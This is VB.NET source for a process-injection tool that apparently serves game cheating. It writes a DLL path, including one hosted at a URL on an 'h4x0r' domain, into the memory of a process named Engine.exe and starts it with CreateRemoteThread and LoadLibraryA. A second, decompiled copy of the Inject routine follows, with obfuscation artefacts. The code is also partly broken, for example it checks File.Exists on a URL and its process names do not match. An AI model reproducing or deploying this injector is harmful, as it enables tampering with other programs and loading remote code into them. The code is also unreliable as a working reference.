Public Class Form1
'Inject from a web server
'Original code by xTmx
'Edited by Samueldo aka Blackberry
Private TargetProcessHandle As Integer
Private pfnStartAddr As Integer
Private pszLibFileRemote As String
Private TargetBufferSize As Integer
Public Const PROCESS_VM_READ = &H10
Public Const TH32CS_SNAPPROCESS = &H2
Public Const MEM_COMMIT = 4096
Public Const PAGE_READWRITE = 4
Public Const PROCESS_CREATE_THREAD = (&H2)
Public Const PROCESS_VM_OPERATION = (&H8)
Public Const PROCESS_VM_WRITE = (&H20)
Public Declare Function ReadProcessMemory Lib "kernel32" ( _
ByVal hProcess As Integer, _
ByVal lpBaseAddress As Integer, _
ByVal lpBuffer As String, _
ByVal nSize As Integer, _
ByRef lpNumberOfBytesWritten As Integer) As Integer
Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" ( _
ByVal lpLibFileName As String) As Integer
Public Declare Function VirtualAllocEx Lib "kernel32" ( _
ByVal hProcess As Integer, _
ByVal lpAddress As Integer, _
ByVal dwSize As Integer, _
ByVal flAllocationType As Integer, _
ByVal flProtect As Integer) As Integer
Public Declare Function WriteProcessMemory Lib "kernel32" ( _
ByVal hProcess As Integer, _
ByVal lpBaseAddress As Integer, _
ByVal lpBuffer As String, _
ByVal nSize As Integer, _
ByRef lpNumberOfBytesWritten As Integer) As Integer
Public Declare Function GetProcAddress Lib "kernel32" ( _
ByVal hModule As Integer, ByVal lpProcName As String) As Integer
Private Declare Function GetModuleHandle Lib "Kernel32" Alias "GetModuleHandleA" ( _
ByVal lpModuleName As String) As Integer
Public Declare Function CreateRemoteThread Lib "kernel32" ( _
ByVal hProcess As Integer, _
ByVal lpThreadAttributes As Integer, _
ByVal dwStackSize As Integer, _
ByVal lpStartAddress As Integer, _
ByVal lpParameter As Integer, _
ByVal dwCreationFlags As Integer, _
ByRef lpThreadId As Integer) As Integer
Public Declare Function OpenProcess Lib "kernel32" ( _
ByVal dwDesiredAccess As Integer, _
ByVal bInheritHandle As Integer, _
ByVal dwProcessId As Integer) As Integer
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _
ByVal lpClassName As String, _
ByVal lpWindowName As String) As Integer
Private Declare Function CloseHandle Lib "kernel32" Alias "CloseHandleA" ( _
ByVal hObject As Integer) As Integer
Dim ExeName As String = IO.Path.GetFileNameWithoutExtension(Application.ExecutablePath)
Private Sub Inject()
On Error GoTo 1
Timer1.Stop()
Dim TargetProcess As Process() = Process.GetProcessesByName("Engine.exe")
TargetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD Or PROCESS_VM_OPERATION Or PROCESS_VM_WRITE, False, TargetProcess(0).Id)
pszLibFileRemote = "http://h4x0r.*******.com/pub/pub.dll"
pfnStartAddr = GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA")
TargetBufferSize = 1 + Len(pszLibFileRemote)
Dim Rtn As Integer
Dim LoadLibParamAdr As Integer
LoadLibParamAdr = VirtualAllocEx(TargetProcessHandle, 0, TargetBufferSize, MEM_COMMIT, PAGE_READWRITE)
Rtn = WriteProcessMemory(TargetProcessHandle, LoadLibParamAdr, pszLibFileRemote, TargetBufferSize, 0)
CreateRemoteThread(TargetProcessHandle, 0, 0, pfnStartAddr, LoadLibParamAdr, 0, 0)
CloseHandle(TargetProcessHandle)
1: Me.Close()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If IO.File.Exists("http://h4x0r.*******.com/pub/pub.dll") Then
Dim TargetProcess As Process() = Process.GetProcessesByName("HSUpdate")
If TargetProcess.Length = 0 Then
Label1.Text = ("Waiting for Engine.exe...")
Else
Timer1.Stop()
Label1.Text = "Injected!"
Call Inject()
End If
Else
Label1.Text = ("Can't find DLL on server")
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Interval = 50
Timer1.Start()
End Sub
End Class
Private Sub Inject()
' This item is obfuscated and can not be translated.
Dim num6 As Integer
Try
Dim num7 As Integer
Label_0001:
ProjectData.ClearProjectError
Dim num5 As Integer = -2
Label_000A:
num7 = 2
Dim processesByName As Process() = Process.GetProcessesByName("Engine")
Label_0018:
num7 = 3
Me.TargetProcessHandle = Form1.OpenProcess(&H2A, 0, processesByName(0).Id)
Label_0031:
num7 = 4
Me.pszLibFileRemote = (Me.TextBox1.Text & "/asdfj298dl.dll")
Label_004F:
num7 = 5
Me.pszLibFileRemote2 = Me.TextBox1.Text
Label_0063:
num7 = 6
Dim lpModuleName As String = "Kernel32"
Label_006D:
num7 = 7
Dim lpProcName As String = "LoadLibraryA"
Label_0077:
num7 = 8
Me.pfnStartAddr = Form1.GetProcAddress(Form1.GetModuleHandle((lpModuleName)), (lpProcName))
Label_0096:
num7 = 9
Me.TargetBufferSize = ((1 + Strings.Len(Me.pszLibFileRemote)) + Strings.Len(Me.pszLibFileRemote2))
Label_00B9:
num7 = 10
Dim lpBaseAddress As Integer = Form1.VirtualAllocEx(Me.TargetProcessHandle, 0, Me.TargetBufferSize, &H1000, 4)
Label_00D6:
num7 = 11
Dim lpNumberOfBytesWritten As Integer = 0
Label_00DC:
num7 = 12
Dim num2 As Integer = Form1.WriteProcessMemory(Me.TargetProcessHandle, lpBaseAddress, (Me.pszLibFileRemote), Me.TargetBufferSize, (lpNumberOfBytesWritten))
Label_0102:
num7 = 13
lpNumberOfBytesWritten = 0
Label_0108:
num7 = 14
Form1.CreateRemoteThread(Me.TargetProcessHandle, 0, 0, Me.pfnStartAddr, lpBaseAddress, 0, (lpNumberOfBytesWritten))
Label_0127:
num7 = 15
Form1.CloseHandle(Me.TargetProcessHandle)
Label_0137:
num7 = &H10
Me.Label1.Text = "Injected!"
goto Label_01F6
Label_0155:
num6 = 0
Select Case (num6 + 1)
Case 1
goto Label_0001
Case 2
goto Label_000A
Case 3
goto Label_0018
Case 4
goto Label_0031
Case 5
goto Label_004F
Case 6
goto Label_0063
Case 7
goto Label_006D
Case 8
goto Label_0077
Case 9
goto Label_0096
Case 10
goto Label_00B9
Case 11
goto Label_00D6
Case 12
goto Label_00DC
Case 13
goto Label_0102
Case 14
goto Label_0108
Case 15
goto Label_0127
Case &H10
goto Label_0137
Case &H11
goto Label_01F6
Case Else
goto Label_01EB
End Select
Label_01AB:
num6 = num7
Select Case IIf((num5 > -2), num5, 1)
Case 0
goto Label_01EB
Case 1
goto Label_0155
End Select
Catch obj1 As Object When (?)
ProjectData.SetProjectError(DirectCast(obj1, Exception))
goto Label_01AB
End Try
Label_01EB:
Throw ProjectData.CreateProjectError(-2146828237)
Label_01F6:
If (num6 <> 0) Then
ProjectData.ClearProjectError
End If
End Sub